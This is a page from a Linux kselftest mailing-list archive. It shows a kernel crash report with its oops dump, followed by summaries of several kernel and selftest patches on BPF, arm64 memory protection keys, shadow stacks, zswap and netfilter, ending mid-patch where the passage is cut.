- Linux-kselftest-mirror - lists.linaro.org

selftests: user_events: ftrace_test - RIP: 0010:tracing_update_buffers (kernel/trace/trace.c:6470)

by Naresh Kamboju

Following kernel crash noticed on x86_64 while running selftests: user_events: ftrace_test running 6.6.0-rc7-next-20231026. Reported-by: Linux Kernel Functional Testing <lkft(a)linaro.org> kselftest: Running tests in user_events TAP version 13 1..4 # timeout set to 90 # selftests: user_events: ftrace_test [ 2391.606817] general protection fault, probably for non-canonical address 0x6b6b6b6b6b6b8a83: 0000 [#1] PREEMPT SMP PTI [ 2391.617519] CPU: 1 PID: 34662 Comm: ftrace_test Not tainted 6.6.0-rc7-next-20231026 #1 [ 2391.625428] Hardware name: Supermicro SYS-5019S-ML/X11SSH-F, BIOS 2.7 12/07/2021 [ 2391.632811] RIP: 0010:tracing_update_buffers (kernel/trace/trace.c:6470) [ 2391.637952] Code: 90 90 90 90 90 90 90 90 90 90 90 90 66 0f 1f 00 55 31 f6 48 89 e5 41 55 41 54 53 48 89 fb 48 c7 c7 40 8c 61 94 e8 92 d3 5a 01 <44> 0f b6 a3 18 1f 00 00 41 80 fc 01 0f 87 c8 dc 4e 01 45 31 ed 41 All code ======== 0: 90 nop 1: 90 nop 2: 90 nop 3: 90 nop 4: 90 nop 5: 90 nop 6: 90 nop 7: 90 nop 8: 90 nop 9: 90 nop a: 90 nop b: 90 nop c: 66 0f 1f 00 nopw (%rax) 10: 55 push %rbp 11: 31 f6 xor %esi,%esi 13: 48 89 e5 mov %rsp,%rbp 16: 41 55 push %r13 18: 41 54 push %r12 1a: 53 push %rbx 1b: 48 89 fb mov %rdi,%rbx 1e: 48 c7 c7 40 8c 61 94 mov $0xffffffff94618c40,%rdi 25: e8 92 d3 5a 01 callq 0x15ad3bc 2a:* 44 0f b6 a3 18 1f 00 movzbl 0x1f18(%rbx),%r12d <-- trapping instruction 31: 00 32: 41 80 fc 01 cmp $0x1,%r12b 36: 0f 87 c8 dc 4e 01 ja 0x14edd04 3c: 45 31 ed xor %r13d,%r13d 3f: 41 rex.B Code starting with the faulting instruction =========================================== 0: 44 0f b6 a3 18 1f 00 movzbl 0x1f18(%rbx),%r12d 7: 00 8: 41 80 fc 01 cmp $0x1,%r12b c: 0f 87 c8 dc 4e 01 ja 0x14edcda 12: 45 31 ed xor %r13d,%r13d 15: 41 rex.B [ 2391.656696] RSP: 0018:ffffb36e0a477d80 EFLAGS: 00010246 [ 2391.661937] RAX: 0000000000000000 RBX: 6b6b6b6b6b6b6b6b RCX: 0000000080000000 [ 2391.669064] RDX: 0000000000000000 RSI: ffffffff9299b722 RDI: ffffffff9299b722 [ 2391.676195] RBP: ffffb36e0a477d98 R08: 000000000000002f R09: 0000000000000002 [ 2391.683321] R10: ffffb36e0a477d70 R11: 0000000000000000 R12: 0000000000000002 [ 2391.690453] R13: ffffb36e0a477e88 R14: ffff99c5803a2230 R15: ffff99c581c39000 [ 2391.697586] FS: 00007fb4b9681740(0000) GS:ffff99c6efa80000(0000) knlGS:0000000000000000 [ 2391.705670] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 2391.711410] CR2: 00007fb4b96ab5e0 CR3: 000000010635c002 CR4: 00000000003706f0 [ 2391.718540] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 2391.725665] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [ 2391.732797] Call Trace: [ 2391.735240] <TASK> [ 2391.737339] ? show_regs (arch/x86/kernel/dumpstack.c:479) [ 2391.740744] ? die_addr (arch/x86/kernel/dumpstack.c:421 arch/x86/kernel/dumpstack.c:460) [ 2391.744056] ? exc_general_protection (arch/x86/kernel/traps.c:697 arch/x86/kernel/traps.c:642) [ 2391.748766] ? asm_exc_general_protection (arch/x86/include/asm/idtentry.h:564) [ 2391.753652] ? __mutex_lock (kernel/locking/mutex.c:613 (discriminator 3) kernel/locking/mutex.c:747 (discriminator 3)) [ 2391.757487] ? __mutex_lock (kernel/locking/mutex.c:613 (discriminator 3) kernel/locking/mutex.c:747 (discriminator 3)) [ 2391.761318] ? tracing_update_buffers (kernel/trace/trace.c:6470) [ 2391.765851] event_enable_write (kernel/trace/trace_events.c:1408) [ 2391.769976] vfs_write (fs/read_write.c:582) [ 2391.773296] ? close_fd_get_file (fs/file.c:821) [ 2391.777396] ? preempt_count_sub (kernel/sched/core.c:5857 kernel/sched/core.c:5853 kernel/sched/core.c:5875) [ 2391.781496] ksys_write (fs/read_write.c:638) [ 2391.784918] __x64_sys_write (fs/read_write.c:646) [ 2391.788671] do_syscall_64 (arch/x86/entry/common.c:51 arch/x86/entry/common.c:82) [ 2391.792248] ? do_syscall_64 (arch/x86/entry/common.c:101) [ 2391.795995] ? syscall_exit_to_user_mode (kernel/entry/common.c:299) [ 2391.800785] ? do_syscall_64 (arch/x86/entry/common.c:101) [ 2391.804529] ? do_syscall_64 (arch/x86/entry/common.c:101) [ 2391.808275] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:129) [ 2391.813327] RIP: 0033:0x7fb4b977c140 [ 2391.816920] Code: 40 00 48 8b 15 c1 9c 0d 00 f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b7 0f 1f 00 80 3d a1 24 0e 00 00 74 17 b8 01 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 58 c3 0f 1f 80 00 00 00 00 48 83 ec 28 48 89 All code ======== 0: 40 00 48 8b add %cl,-0x75(%rax) 4: 15 c1 9c 0d 00 adc $0xd9cc1,%eax 9: f7 d8 neg %eax b: 64 89 02 mov %eax,%fs:(%rdx) e: 48 c7 c0 ff ff ff ff mov $0xffffffffffffffff,%rax 15: eb b7 jmp 0xffffffffffffffce 17: 0f 1f 00 nopl (%rax) 1a: 80 3d a1 24 0e 00 00 cmpb $0x0,0xe24a1(%rip) # 0xe24c2 21: 74 17 je 0x3a 23: b8 01 00 00 00 mov $0x1,%eax 28: 0f 05 syscall 2a:* 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax <-- trapping instruction 30: 77 58 ja 0x8a 32: c3 retq 33: 0f 1f 80 00 00 00 00 nopl 0x0(%rax) 3a: 48 83 ec 28 sub $0x28,%rsp 3e: 48 rex.W 3f: 89 .byte 0x89 Code starting with the faulting instruction =========================================== 0: 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax 6: 77 58 ja 0x60 8: c3 retq 9: 0f 1f 80 00 00 00 00 nopl 0x0(%rax) 10: 48 83 ec 28 sub $0x28,%rsp 14: 48 rex.W 15: 89 .byte 0x89 [ 2391.835660] RSP: 002b:00007ffc43b05b38 EFLAGS: 00000202 ORIG_RAX: 0000000000000001 [ 2391.843225] RAX: ffffffffffffffda RBX: 00007ffc43b05d88 RCX: 00007fb4b977c140 [ 2391.850350] RDX: 0000000000000002 RSI: 000056376b59b7d4 RDI: 0000000000000007 [ 2391.857482] RBP: 00007ffc43b05b60 R08: 0000000000000000 R09: 00007fb4b9681740 [ 2391.864615] R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000000000 [ 2391.871747] R13: 00007ffc43b05d98 R14: 000056376b59ddc8 R15: 00007fb4b9981020 [ 2391.878907] </TASK> [ 2391.881106] Modules linked in: x86_pkg_temp_thermal fuse configfs [ 2391.887288] ---[ end trace 0000000000000000 ]--- [ 2391.891915] RIP: 0010:tracing_update_buffers (kernel/trace/trace.c:6470) [ 2391.897231] Code: 90 90 90 90 90 90 90 90 90 90 90 90 66 0f 1f 00 55 31 f6 48 89 e5 41 55 41 54 53 48 89 fb 48 c7 c7 40 8c 61 94 e8 92 d3 5a 01 <44> 0f b6 a3 18 1f 00 00 41 80 fc 01 0f 87 c8 dc 4e 01 45 31 ed 41 All code ======== 0: 90 nop 1: 90 nop 2: 90 nop 3: 90 nop 4: 90 nop 5: 90 nop 6: 90 nop 7: 90 nop 8: 90 nop 9: 90 nop a: 90 nop b: 90 nop c: 66 0f 1f 00 nopw (%rax) 10: 55 push %rbp 11: 31 f6 xor %esi,%esi 13: 48 89 e5 mov %rsp,%rbp 16: 41 55 push %r13 18: 41 54 push %r12 1a: 53 push %rbx 1b: 48 89 fb mov %rdi,%rbx 1e: 48 c7 c7 40 8c 61 94 mov $0xffffffff94618c40,%rdi 25: e8 92 d3 5a 01 callq 0x15ad3bc 2a:* 44 0f b6 a3 18 1f 00 movzbl 0x1f18(%rbx),%r12d <-- trapping instruction 31: 00 32: 41 80 fc 01 cmp $0x1,%r12b 36: 0f 87 c8 dc 4e 01 ja 0x14edd04 3c: 45 31 ed xor %r13d,%r13d 3f: 41 rex.B Code starting with the faulting instruction =========================================== 0: 44 0f b6 a3 18 1f 00 movzbl 0x1f18(%rbx),%r12d 7: 00 8: 41 80 fc 01 cmp $0x1,%r12b c: 0f 87 c8 dc 4e 01 ja 0x14edcda 12: 45 31 ed xor %r13d,%r13d 15: 41 rex.B [ 2391.916120] RSP: 0018:ffffb36e0a477d80 EFLAGS: 00010246 [ 2391.921569] RAX: 0000000000000000 RBX: 6b6b6b6b6b6b6b6b RCX: 0000000080000000 [ 2391.928872] RDX: 0000000000000000 RSI: ffffffff9299b722 RDI: ffffffff9299b722 [ 2391.936237] RBP: ffffb36e0a477d98 R08: 000000000000002f R09: 0000000000000002 [ 2391.943388] R10: ffffb36e0a477d70 R11: 0000000000000000 R12: 0000000000000002 [ 2391.950527] R13: ffffb36e0a477e88 R14: ffff99c5803a2230 R15: ffff99c581c39000 [ 2391.957670] FS: 00007fb4b9681740(0000) GS:ffff99c6efa80000(0000) knlGS:0000000000000000 [ 2391.965822] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 2391.971579] CR2: 00007fb4b96ab5e0 CR3: 000000010635c002 CR4: 00000000003706f0 [ 2391.978721] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 2391.985879] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [ 2391.993028] Kernel panic - not syncing: Fatal exception [ 2391.998287] Kernel Offset: 0x10000000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff) [ 2392.009066] ---[ end Kernel panic - not syncing: Fatal exception ]--- Links: - https://qa-reports.linaro.org/lkft/linux-next-master/build/next-20231026/te… - https://lkft.validation.linaro.org/scheduler/job/6974179#L5053 metadata: git_ref: master git_repo: https://gitlab.com/Linaro/lkft/mirrors/next/linux-next git_sha: 2ef7141596eed0b4b45ef18b3626f428a6b0a822 git_describe: next-20231026 kernel_version: 6.6.0-rc7 kernel-config: https://storage.tuxsuite.com/public/linaro/lkft/builds/2XHt24sNSdog7DYY3FLK… artifact-location: https://storage.tuxsuite.com/public/linaro/lkft/builds/2XHt24sNSdog7DYY3FLK… toolchain: gcc-13 -- Linaro LKFT https://lkft.linaro.org

1 year, 11 months

3
12
0 0

[RFC bpf-next 0/6] Add bpf_xdp_get_xfrm_state() kfunc

by Daniel Xu

This patchset adds a kfunc helper, bpf_xdp_get_xfrm_state(), that wraps xfrm_state_lookup(). The intent is to support software RSS (via XDP) for the ongoing/upcoming ipsec pcpu work [0]. Recent experiments performed on (hopefully) reproducible AWS testbeds indicate that single tunnel pcpu ipsec can reach line rate on 100G ENA nics. More details about that will be presented at netdev next week [1]. Antony did the initial stable bpf helper - I later ported it to unstable kfuncs. So for the series, please apply a Co-developed-by for Antony, provided he acks and signs off on this. [0]: https://datatracker.ietf.org/doc/html/draft-ietf-ipsecme-multi-sa-performan… [1]: https://netdevconf.info/0x17/sessions/workshop/security-workshop.html Daniel Xu (6): bpf: xfrm: Add bpf_xdp_get_xfrm_state() kfunc bpf: selftests: test_tunnel: Use ping -6 over ping6 bpf: selftests: test_tunnel: Mount bpffs if necessary bpf: selftests: test_tunnel: Use vmlinux.h declarations bpf: selftests: test_tunnel: Disable CO-RE relocations bpf: xfrm: Add selftest for bpf_xdp_get_xfrm_state() include/net/xfrm.h | 9 ++ net/xfrm/Makefile | 1 + net/xfrm/xfrm_policy.c | 2 + net/xfrm/xfrm_state_bpf.c | 105 ++++++++++++++++++ .../selftests/bpf/progs/bpf_tracing_net.h | 1 + .../selftests/bpf/progs/test_tunnel_kern.c | 95 +++++++++------- tools/testing/selftests/bpf/test_tunnel.sh | 43 ++++--- 7 files changed, 202 insertions(+), 54 deletions(-) create mode 100644 net/xfrm/xfrm_state_bpf.c -- 2.42.0

1 year, 11 months

3
9
0 0

[PATCH bpf-next v3 2/2] selftests/bpf: Add malloc failure checks in bpf_iter

by Yuran Pereira

Since some malloc calls in bpf_iter may at times fail, this patch adds the appropriate fail checks, and ensures that any previously allocated resource is appropriately destroyed before returning the function. Signed-off-by: Yuran Pereira <yuran.pereira(a)hotmail.com> --- tools/testing/selftests/bpf/prog_tests/bpf_iter.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/tools/testing/selftests/bpf/prog_tests/bpf_iter.c b/tools/testing/selftests/bpf/prog_tests/bpf_iter.c index 123a3502b8f0..1e02d1ba1c18 100644 --- a/tools/testing/selftests/bpf/prog_tests/bpf_iter.c +++ b/tools/testing/selftests/bpf/prog_tests/bpf_iter.c @@ -698,7 +698,7 @@ static void test_overflow(bool test_e2big_overflow, bool ret1) goto free_link; buf = malloc(expected_read_len); - if (!buf) + if (!ASSERT_OK_PTR(buf, "malloc")) goto close_iter; /* do read */ @@ -868,6 +868,8 @@ static void test_bpf_percpu_hash_map(void) skel->rodata->num_cpus = bpf_num_possible_cpus(); val = malloc(8 * bpf_num_possible_cpus()); + if (!ASSERT_OK_PTR(val, "malloc")) + goto out; err = bpf_iter_bpf_percpu_hash_map__load(skel); if (!ASSERT_OK_PTR(skel, "bpf_iter_bpf_percpu_hash_map__load")) @@ -1044,6 +1046,8 @@ static void test_bpf_percpu_array_map(void) skel->rodata->num_cpus = bpf_num_possible_cpus(); val = malloc(8 * bpf_num_possible_cpus()); + if (!ASSERT_OK_PTR(val, "malloc")) + goto out; err = bpf_iter_bpf_percpu_array_map__load(skel); if (!ASSERT_OK_PTR(skel, "bpf_iter_bpf_percpu_array_map__load")) -- 2.25.1

1 year, 11 months

3
2
0 0

[PATCH v2 00/20] Permission Overlay Extension

by Joey Gouly

Hello everyone, This series implements the Permission Overlay Extension introduced in 2022 VMSA enhancements [1]. It is based on v6.6-rc3. Changes since v1[2]: # Added Kconfig option # Added KVM support # Move VM_PKEY* defines into arch/ # Add isb() for POR_EL0 context switch # Added hwcap test, get-reg-list-test, signal frame handling test ptrace support is missing, I will add that for v3. The Permission Overlay Extension allows to constrain permissions on memory regions. This can be used from userspace (EL0) without a system call or TLB invalidation. POE is used to implement the Memory Protection Keys [3] Linux syscall. The first few patches add the basic framework, then the PKEYS interface is implemented, and then the selftests are made to work on arm64. There was discussion about what the 'default' protection key value should be, I used disallow-all (apart from pkey 0), which matches what x86 does. I have tested the modified protection_keys test on x86_64 [5], but not PPC. I haven't build tested the x86/ppc changes, will work on getting at least an x86 build environment working. Thanks, Joey [1] https://community.arm.com/arm-community-blogs/b/architectures-and-processor… [2] https://lore.kernel.org/linux-arm-kernel/20230927140123.5283-1-joey.gouly@a… [3] Documentation/core-api/protection-keys.rst [4] https://lore.kernel.org/linux-arm-kernel/20230919092850.1940729-7-mark.rutl… [5] test_ptrace_modifies_pkru asserts for me on a Ubuntu 5.4 kernel, but does so before my changes as well Joey Gouly (24): arm64/sysreg: add system register POR_EL{0,1} arm64/sysreg: update CPACR_EL1 register arm64: cpufeature: add Permission Overlay Extension cpucap arm64: disable trapping of POR_EL0 to EL2 arm64: context switch POR_EL0 register KVM: arm64: Save/restore POE registers arm64: enable the Permission Overlay Extension for EL0 arm64: add POIndex defines arm64: define VM_PKEY_BIT* for arm64 arm64: mask out POIndex when modifying a PTE arm64: enable ARCH_HAS_PKEYS on arm64 arm64: handle PKEY/POE faults arm64: stop using generic mm_hooks.h arm64: implement PKEYS support arm64: add POE signal support arm64: enable PKEY support for CPUs with S1POE arm64: enable POE and PIE to coexist kselftest/arm64: move get_header() selftests: mm: move fpregs printing selftests: mm: make protection_keys test work on arm64 kselftest/arm64: add HWCAP test for FEAT_S1POE kselftest/arm64: parse POE_MAGIC in a signal frame kselftest/arm64: Add test case for POR_EL0 signal frame records KVM: selftests: get-reg-list: add Permission Overlay registers Documentation/arch/arm64/elf_hwcaps.rst | 3 + arch/arm64/Kconfig | 18 +++ arch/arm64/include/asm/cpufeature.h | 6 + arch/arm64/include/asm/el2_setup.h | 10 +- arch/arm64/include/asm/hwcap.h | 1 + arch/arm64/include/asm/kvm_arm.h | 4 +- arch/arm64/include/asm/kvm_host.h | 4 + arch/arm64/include/asm/mman.h | 8 +- arch/arm64/include/asm/mmu.h | 2 + arch/arm64/include/asm/mmu_context.h | 51 ++++++- arch/arm64/include/asm/page.h | 10 ++ arch/arm64/include/asm/pgtable-hwdef.h | 10 ++ arch/arm64/include/asm/pgtable-prot.h | 8 +- arch/arm64/include/asm/pgtable.h | 26 +++- arch/arm64/include/asm/pkeys.h | 110 ++++++++++++++ arch/arm64/include/asm/por.h | 33 +++++ arch/arm64/include/asm/processor.h | 1 + arch/arm64/include/asm/sysreg.h | 16 ++ arch/arm64/include/asm/traps.h | 1 + arch/arm64/include/uapi/asm/hwcap.h | 1 + arch/arm64/include/uapi/asm/sigcontext.h | 7 + arch/arm64/kernel/cpufeature.c | 23 +++ arch/arm64/kernel/cpuinfo.c | 1 + arch/arm64/kernel/process.c | 19 +++ arch/arm64/kernel/signal.c | 51 +++++++ arch/arm64/kernel/traps.c | 12 +- arch/arm64/kvm/hyp/include/hyp/sysreg-sr.h | 10 ++ arch/arm64/kvm/sys_regs.c | 2 + arch/arm64/mm/fault.c | 44 +++++- arch/arm64/mm/mmap.c | 9 ++ arch/arm64/mm/mmu.c | 40 +++++ arch/arm64/tools/cpucaps | 1 + arch/arm64/tools/sysreg | 15 +- arch/powerpc/include/asm/page.h | 11 ++ arch/x86/include/asm/page.h | 10 ++ fs/proc/task_mmu.c | 2 + include/linux/mm.h | 13 -- tools/testing/selftests/arm64/abi/hwcap.c | 13 ++ .../testing/selftests/arm64/signal/.gitignore | 1 + .../arm64/signal/testcases/poe_siginfo.c | 86 +++++++++++ .../arm64/signal/testcases/testcases.c | 27 +--- .../arm64/signal/testcases/testcases.h | 28 +++- .../selftests/kvm/aarch64/get-reg-list.c | 14 ++ tools/testing/selftests/mm/Makefile | 2 +- tools/testing/selftests/mm/pkey-arm64.h | 138 ++++++++++++++++++ tools/testing/selftests/mm/pkey-helpers.h | 8 + tools/testing/selftests/mm/pkey-powerpc.h | 3 + tools/testing/selftests/mm/pkey-x86.h | 4 + tools/testing/selftests/mm/protection_keys.c | 29 ++-- 49 files changed, 880 insertions(+), 66 deletions(-) create mode 100644 arch/arm64/include/asm/pkeys.h create mode 100644 arch/arm64/include/asm/por.h create mode 100644 tools/testing/selftests/arm64/signal/testcases/poe_siginfo.c create mode 100644 tools/testing/selftests/mm/pkey-arm64.h -- 2.25.1

1 year, 11 months

2
27
0 0

[PATCH RFC RFT 0/5] fork: Support shadow stacks in clone3()

by Mark Brown

The kernel has recently added support for shadow stacks, currently x86 only using their CET feature but both arm64 and RISC-V have equivalent features (GCS and Zisslpcfi respectively), I am actively working on GCS[1]. With shadow stacks the hardware maintains an additional stack containing only the return addresses for branch instructions which is not generally writeable by userspace and ensures that any returns are to the recorded addresses. This provides some protection against ROP attacks and making it easier to collect call stacks. These shadow stacks are allocated in the address space of the userspace process. Our API for shadow stacks does not currently offer userspace any flexiblity for managing the allocation of shadow stacks for newly created threads, instead the kernel allocates a new shadow stack with the same size as the normal stack whenever a thread is created with the feature enabled. The stacks allocated in this way are freed by the kernel when the thread exits or shadow stacks are disabled for the thread. This lack of flexibility and control isn't ideal, in the vast majority of cases the shadow stack will be over allocated and the implicit allocation and deallocation is not consistent with other interfaces. As far as I can tell the interface is done in this manner mainly because the shadow stack patches were in development since before clone3() was implemented. Since clone3() is readily extensible let's add support for specifying a shadow stack when creating a new thread or process in a similar manner to how the normal stack is specified, keeping the current implicit allocation behaviour if one is not specified either with clone3() or through the use of clone(). When the shadow stack is specified explicitly the kernel will not free it, the inconsistency with implicitly allocated shadow stacks is a bit awkward but that's existing ABI so we can't change it. The memory provided must have been allocated for use as a shadow stack, the expectation is that this will be done using the map_shadow_stack() syscall. I opted not to add validation for this in clone3() since it will be enforced by hardware anyway. Please note that the x86 portions of this code are build tested only, I don't appear to have a system that can run CET avaible to me, I have done testing with an integration into my pending work for GCS. There is some possibility that the arm64 implementation may require the use of clone3() and explicit userspace allocation of shadow stacks, this is still under discussion. A new architecture feature Kconfig option for shadow stacks is added as here, this was suggested as part of the review comments for the arm64 GCS series and since we need to detect if shadow stacks are supported it seemed sensible to roll it in here. The selftest portions of this depend on 34dce23f7e40 ("selftests/clone3: Report descriptive test names") in -next[2]. [1] https://lore.kernel.org/r/20231009-arm64-gcs-v6-0-78e55deaa4dd@kernel.org/ [2] https://lore.kernel.org/r/20231018-kselftest-clone3-output-v1-1-12b7c50ea2c… Signed-off-by: Mark Brown <broonie(a)kernel.org> --- Mark Brown (5): mm: Introduce ARCH_HAS_USER_SHADOW_STACK fork: Add shadow stack support to clone3() selftests/clone3: Factor more of main loop into test_clone3() selftests/clone3: Allow tests to flag if -E2BIG is a valid error code kselftest/clone3: Test shadow stack support arch/x86/Kconfig | 1 + arch/x86/include/asm/shstk.h | 11 +- arch/x86/kernel/process.c | 2 +- arch/x86/kernel/shstk.c | 36 ++++- fs/proc/task_mmu.c | 2 +- include/linux/mm.h | 2 +- include/linux/sched/task.h | 2 + include/uapi/linux/sched.h | 17 +- kernel/fork.c | 40 ++++- mm/Kconfig | 6 + tools/testing/selftests/clone3/clone3.c | 180 +++++++++++++++++----- tools/testing/selftests/clone3/clone3_selftests.h | 5 + 12 files changed, 247 insertions(+), 57 deletions(-) --- base-commit: 80ab9b52e8d4add7735abdfb935877354b69edb6 change-id: 20231019-clone3-shadow-stack-15d40d2bf536 Best regards, -- Mark Brown <broonie(a)kernel.org>

1 year, 11 months

4
19
0 0

[PATCH v4 0/5] workload-specific and memory pressure-driven zswap writeback

by Nhat Pham

Changelog: v4: * Rename list_lru_add to list_lru_add_obj and __list_lru_add to list_lru_add (patch 1) (suggested by Johannes Weiner and Yosry Ahmed) * Some cleanups on the memcg aware LRU patch (patch 2) (suggested by Yosry Ahmed) * Use event interface for the new per-cgroup writeback counters. (patch 3) (suggested by Yosry Ahmed) * Abstract zswap's lruvec states and handling into zswap_lruvec_state (patch 5) (suggested by Yosry Ahmed) v3: * Add a patch to export per-cgroup zswap writeback counters * Add a patch to update zswap's kselftest * Separate the new list_lru functions into its own prep patch * Do not start from the top of the hierarchy when encounter a memcg that is not online for the global limit zswap writeback (patch 2) (suggested by Yosry Ahmed) * Do not remove the swap entry from list_lru in __read_swapcache_async() (patch 2) (suggested by Yosry Ahmed) * Removed a redundant zswap pool getting (patch 2) (reported by Ryan Roberts) * Use atomic for the nr_zswap_protected (instead of lruvec's lock) (patch 5) (suggested by Yosry Ahmed) * Remove the per-cgroup zswap shrinker knob (patch 5) (suggested by Yosry Ahmed) v2: * Fix loongarch compiler errors * Use pool stats instead of memcg stats when !CONFIG_MEMCG_KEM There are currently several issues with zswap writeback: 1. There is only a single global LRU for zswap, making it impossible to perform worload-specific shrinking - an memcg under memory pressure cannot determine which pages in the pool it owns, and often ends up writing pages from other memcgs. This issue has been previously observed in practice and mitigated by simply disabling memcg-initiated shrinking: https://lore.kernel.org/all/20230530232435.3097106-1-nphamcs@gmail.com/T/#u But this solution leaves a lot to be desired, as we still do not have an avenue for an memcg to free up its own memory locked up in the zswap pool. 2. We only shrink the zswap pool when the user-defined limit is hit. This means that if we set the limit too high, cold data that are unlikely to be used again will reside in the pool, wasting precious memory. It is hard to predict how much zswap space will be needed ahead of time, as this depends on the workload (specifically, on factors such as memory access patterns and compressibility of the memory pages). This patch series solves these issues by separating the global zswap LRU into per-memcg and per-NUMA LRUs, and performs workload-specific (i.e memcg- and NUMA-aware) zswap writeback under memory pressure. The new shrinker does not have any parameter that must be tuned by the user, and can be opted in or out on a per-memcg basis. As a proof of concept, we ran the following synthetic benchmark: build the linux kernel in a memory-limited cgroup, and allocate some cold data in tmpfs to see if the shrinker could write them out and improved the overall performance. Depending on the amount of cold data generated, we observe from 14% to 35% reduction in kernel CPU time used in the kernel builds. Domenico Cerasuolo (3): zswap: make shrinking memcg-aware mm: memcg: add per-memcg zswap writeback stat selftests: cgroup: update per-memcg zswap writeback selftest Nhat Pham (2): list_lru: allows explicit memcg and NUMA node selection zswap: shrinks zswap pool based on memory pressure Documentation/admin-guide/mm/zswap.rst | 7 + drivers/android/binder_alloc.c | 5 +- fs/dcache.c | 8 +- fs/gfs2/quota.c | 6 +- fs/inode.c | 4 +- fs/nfs/nfs42xattr.c | 8 +- fs/nfsd/filecache.c | 4 +- fs/xfs/xfs_buf.c | 6 +- fs/xfs/xfs_dquot.c | 2 +- fs/xfs/xfs_qm.c | 2 +- include/linux/list_lru.h | 46 ++- include/linux/memcontrol.h | 5 + include/linux/mmzone.h | 2 + include/linux/vm_event_item.h | 1 + include/linux/zswap.h | 25 +- mm/list_lru.c | 48 ++- mm/memcontrol.c | 1 + mm/mmzone.c | 1 + mm/swap.h | 3 +- mm/swap_state.c | 25 +- mm/vmstat.c | 1 + mm/workingset.c | 4 +- mm/zswap.c | 365 ++++++++++++++++---- tools/testing/selftests/cgroup/test_zswap.c | 74 ++-- 24 files changed, 526 insertions(+), 127 deletions(-) -- 2.34.1

1 year, 11 months

2
9
0 0

[PATCH net] selftests: pmtu.sh: fix result checking

by Hangbin Liu

In the PMTU test, when all previous tests are skipped and the new test passes, the exit code is set to 0. However, the current check mistakenly treats this as an assignment, causing the check to pass every time. Consequently, regardless of how many tests have failed, if the latest test passes, the PMTU test will report a pass. Fixes: 2a9d3716b810 ("selftests: pmtu.sh: improve the test result processing") Signed-off-by: Hangbin Liu <liuhangbin(a)gmail.com> --- tools/testing/selftests/net/pmtu.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/testing/selftests/net/pmtu.sh b/tools/testing/selftests/net/pmtu.sh index f838dd370f6a..b9648da4c371 100755 --- a/tools/testing/selftests/net/pmtu.sh +++ b/tools/testing/selftests/net/pmtu.sh @@ -2048,7 +2048,7 @@ run_test() { case $ret in 0) all_skipped=false - [ $exitcode=$ksft_skip ] && exitcode=0 + [ $exitcode = $ksft_skip ] && exitcode=0 ;; $ksft_skip) [ $all_skipped = true ] && exitcode=$ksft_skip -- 2.41.0

1 year, 11 months

2
1
0 0

[PATCH] Lower the ptrace permissions so that the memfd_secrect test program runs without an issue.

by Itaru Kitayama

--- On Ubuntu and probably other distros, ptrace permissions are tightend a bit by default; i.e., /proc/sys/kernel/yama/ptrace_score is set to 1. This cases memfd_secret's ptrace attach test fails with a permission error. Set it to 0 piror to running the program. Signed-off-by: Itaru Kitayama <itaru.kitayama(a)linux.dev> --- tools/testing/selftests/mm/run_vmtests.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/tools/testing/selftests/mm/run_vmtests.sh b/tools/testing/selftests/mm/run_vmtests.sh index 3e2bc818d566..7d31718ce834 100755 --- a/tools/testing/selftests/mm/run_vmtests.sh +++ b/tools/testing/selftests/mm/run_vmtests.sh @@ -303,6 +303,7 @@ CATEGORY="hmm" run_test bash ./test_hmm.sh smoke # MADV_POPULATE_READ and MADV_POPULATE_WRITE tests CATEGORY="madv_populate" run_test ./madv_populate +echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope CATEGORY="memfd_secret" run_test ./memfd_secret # KSM KSM_MERGE_TIME_HUGE_PAGES test with size of 100 --- base-commit: ffc253263a1375a65fa6c9f62a893e9767fbebfa change-id: 20231030-selftest-c75b1b460817 Best regards, -- Itaru Kitayama <itaru.kitayama(a)linux.dev>

1 year, 11 months

1
0
0 0

[PATCH AUTOSEL 6.1 35/39] netfilter: nf_tables: audit log object reset once per table

by Sasha Levin

From: Phil Sutter <phil(a)nwl.cc> [ Upstream commit 1baf0152f7707c6c7e4ea815dcc1f431c0e603f9 ] When resetting multiple objects at once (via dump request), emit a log message per table (or filled skb) and resurrect the 'entries' parameter to contain the number of objects being logged for. To test the skb exhaustion path, perform some bulk counter and quota adds in the kselftest. Signed-off-by: Phil Sutter <phil(a)nwl.cc> Reviewed-by: Richard Guy Briggs <rgb(a)redhat.com> Acked-by: Paul Moore <paul(a)paul-moore.com> (Audit) Signed-off-by: Florian Westphal <fw(a)strlen.de> Signed-off-by: Sasha Levin <sashal(a)kernel.org> --- net/netfilter/nf_tables_api.c | 50 +++++++++++-------- .../testing/selftests/netfilter/nft_audit.sh | 46 +++++++++++++++++ 2 files changed, 74 insertions(+), 22 deletions(-) diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c index 5e3dbe2652dbd..5c783199b4999 100644 --- a/net/netfilter/nf_tables_api.c +++ b/net/netfilter/nf_tables_api.c @@ -7324,6 +7324,16 @@ static int nf_tables_fill_obj_info(struct sk_buff *skb, struct net *net, return -1; } +static void audit_log_obj_reset(const struct nft_table *table, + unsigned int base_seq, unsigned int nentries) +{ + char *buf = kasprintf(GFP_ATOMIC, "%s:%u", table->name, base_seq); + + audit_log_nfcfg(buf, table->family, nentries, + AUDIT_NFT_OP_OBJ_RESET, GFP_ATOMIC); + kfree(buf); +} + struct nft_obj_filter { char *table; u32 type; @@ -7338,8 +7348,10 @@ static int nf_tables_dump_obj(struct sk_buff *skb, struct netlink_callback *cb) struct net *net = sock_net(skb->sk); int family = nfmsg->nfgen_family; struct nftables_pernet *nft_net; + unsigned int entries = 0; struct nft_object 